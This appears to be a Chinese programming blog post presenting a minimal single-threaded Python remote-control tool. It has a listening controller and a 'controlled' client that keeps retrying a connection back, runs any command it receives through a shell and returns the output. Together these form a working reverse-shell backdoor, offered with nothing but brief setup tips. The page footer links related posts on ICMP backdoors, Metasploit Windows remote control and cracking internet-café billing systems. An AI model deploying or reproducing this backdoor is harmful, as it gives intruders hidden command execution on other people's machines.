Python简易远控(单线程版)
1. 技术:管道通信,流文件处理,socket基础
2. Tips:
默认IP:127.0.0.1
默认端口:7676
3. 代码样例:
服务端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
from os import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s
def socketDeal(s,HOST,PORT):
s.bind((HOST,PORT))
s.listen(1)
def ControlModule(sS,addr):
recv_buffer = sS.recv(20048)
if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":
print recv_buffer
sys.exit(0)
else:
print recv_buffer
send_buf = raw_input(addr[0]+">")
sS.send(send_buf)
def main():
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketDeal(s, HOST, PORT)
sS,addr = s.accept()
print "Connect from " + addr[0] + ":" + repr(addr[1])
try:
while True:
ControlModule(sS,addr)
except Exception as e:
print "[-]Connect Error"
sS.close()
s.close()
sys.exit(-1)
except KeyboardInterrupt:
sS.close()
s.close()
sys.exit(0)
if __name__ == '__main__':
main()
受控端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
import re
import traceback
import tempfile
from os import *
from subprocess import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s
def socketConn(s,HOST,PORT):
while True:
try:
s.connect((HOST,PORT))
except Exception as e:
continue
else:
s.send("Welcome Sir ~")
break
def String_Deal(recv,send):
P_str = re.findall("cd(.*)|(\w):", recv)
if P_str!=[] and send == "":
if P_str[0][0]!="":
try:
chdir(P_str[0][0].strip())
except Exception as e:
flag = -1
else:
flag = 1
else:
try:
chdir(recv)
except Exception as e:
#traceback.print_exc()
flag = -1
else:
flag = 1
else:
if send == "":
flag = 1
else:
flag = 0
return flag
def OpenProcess(s):
try:
while True:
recv_buf = s.recv(2048)
#流文件技术,防止管道阻塞
out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)
fileNo = out_temp.fileno()
cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)
cmd.wait()
out_temp.seek(0)
send_buf = out_temp.read()
#print len(send_buf)
#输入命令字符串处理识别
flag = String_Deal(recv_buf,send_buf)
if flag == 1:
s.send("OK")
elif flag == -1:
s.send("Error!!")
else:
s.send(send_buf)
send_buf = ""
except Exception as e:
try:
s.send("[-]Error:Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(-1)
except KeyboardInterrupt:
try:
s.send("[*]Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(0)
def main():
flag = 0
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketConn(s, HOST, PORT)
OpenProcess(s)
if __name__ == '__main__':
main()
Python简易远控(单线程版)的更多相关文章
- python构造远控
server端: import socket import subprocess server=socket.socket() server.bind(('127.0.0.1',4444)) serv ...
- python+msf 制作 windows远控
最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~ 创建dll ./msfpayload win ...
- Python解决网吧收费系统,远控网吧电脑设备!
python破解网吧收费系统,远控网吧电脑设备! 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做案例的人,却不知道如何去学习更 ...
- python破解网吧收费系统,远控网吧电脑设备!
我今天呢 , 我就没事跟着朋友喝酒喝酒啊.喝了很多啊.晚上到旁边的酒店开了一个房间,到了酒店才十点! 感觉没啥事情干的,那就去网吧走走看把,看到是一个嘟嘟牛的,和上次是一样的.还是照常用MS170 ...
- 【Python】nvshens按目录批量下载图片爬虫1.00(单线程版)
# nvshens按目录批量下载图片爬虫1.00(单线程版) from bs4 import BeautifulSoup import requests import datetime import ...
- 2016款MACBOOK PRO触控条版 安装WIN10初体验 及 无奈退货记
新的2016MBP终于发布了,作为把苹果电脑装WIN使用的人,等候很久之后,终于可以行动了. 黄山松 (Tom Huang) 发表于博客园http://www.cnblogs.com/tomview/ ...
- Python3实现ICMP远控后门(上)
这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两 ...
- Python3实现ICMP远控后门(上)_补充篇
ICMP后门(上)补充篇 前言 在上一篇文章Python3实现ICMP远控后门(上)中,我简要讲解了ICMP协议,以及实现了一个简单的ping功能,在文章发表之后,后台很多朋友留言,说对校验和的计算不 ...
- Python3实现ICMP远控后门(中)之“嗅探”黑科技
ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...
随机推荐
- HDOJ-1358(字符串压缩+KMP)
Period HDOJ-1358 这题还是属于KMP算法的应用,属于字符串压缩问题.也就是在一个字符串s中寻找一个前缀,使得s可以被一份或者多份前缀子串t拷贝连接,也就是串接. #include< ...
- SpringCloud-服务与注册
SpringCloud- Eureka服务注册与发现 1.概述 springcloud是一个非常优秀的微服务框架,要管理众多的服务,就需要对这些服务进行治理,管理每个服务与每个服务之间的依赖关系,可以 ...
- Tomcat后台爆破指南
0x00 实验环境 攻击机:Win 10 0x01 爆破指南 针对某Tomcat默认管理页面: (1)这里主要是介绍一种比较好用的burp爆破方法: 点击Tomcat后台管理链接 Tomc ...
- Shell编程中变量用法
1. 变量替换 语法 说明 ${变量名#匹配规则} 从变量开头进行规则匹配,将符合最短的数据删除 ${变量名##匹配规则} 从变量开头进行规则匹配,将符合最长的数据删除,贪婪匹配 ${变量名%匹配规则 ...
- python-自定义一个序列
python的序列可以包含多个元素,开发者只要实现符合序列要求的特殊方法,就可以实现自己的序列 序列最重要的特征就是可以包含多个元素,序列有关的特使方法: __len__(self):该方法的返回值决 ...
- [倍增]luogu P4155 [SCOI2015]国旗计划
题面 https://www.luogu.com.cn/problem/P4155 问在环上最少取多少个区间能完全覆盖环 分析 首先发现是环,先把端点变为2n方便处理,注意离散化 其次要删去贡献不如其 ...
- LinkedList源码个人解读
LinkedList的基本结构是双向链接的直线结构. 链表的构造函数有两个,其中空构造函数什么都没做,就是一个空实现. /** * Constructs an empty list. */ publi ...
- 在Windows下配置Linux远程开发环境
在Windows下配置Linux远程开发环境 欢迎光临我的个人博客 https://source.chens.life/Configure-Linux-remote-development-envir ...
- 彻底搞清Flink中的Window
窗口 在流处理应用中,数据是连续不断的,因此我们不可能等到所有数据都到了才开始处理.当然我们可以每来一个消息就处理一次,但是有时我们需要做一些聚合类的处理,例如:在过去的1分钟内有多少用户点击了我们的 ...
- macbook/macOS下打开多个相同应用(应用多开)
1.部分应用可使用common+n快捷键.如qq:打开qq主界面后使用common+n即可新起一个qq程序. 2.在终端使用命令 open -n +程序路径.如启动多个qq : open -n /A ...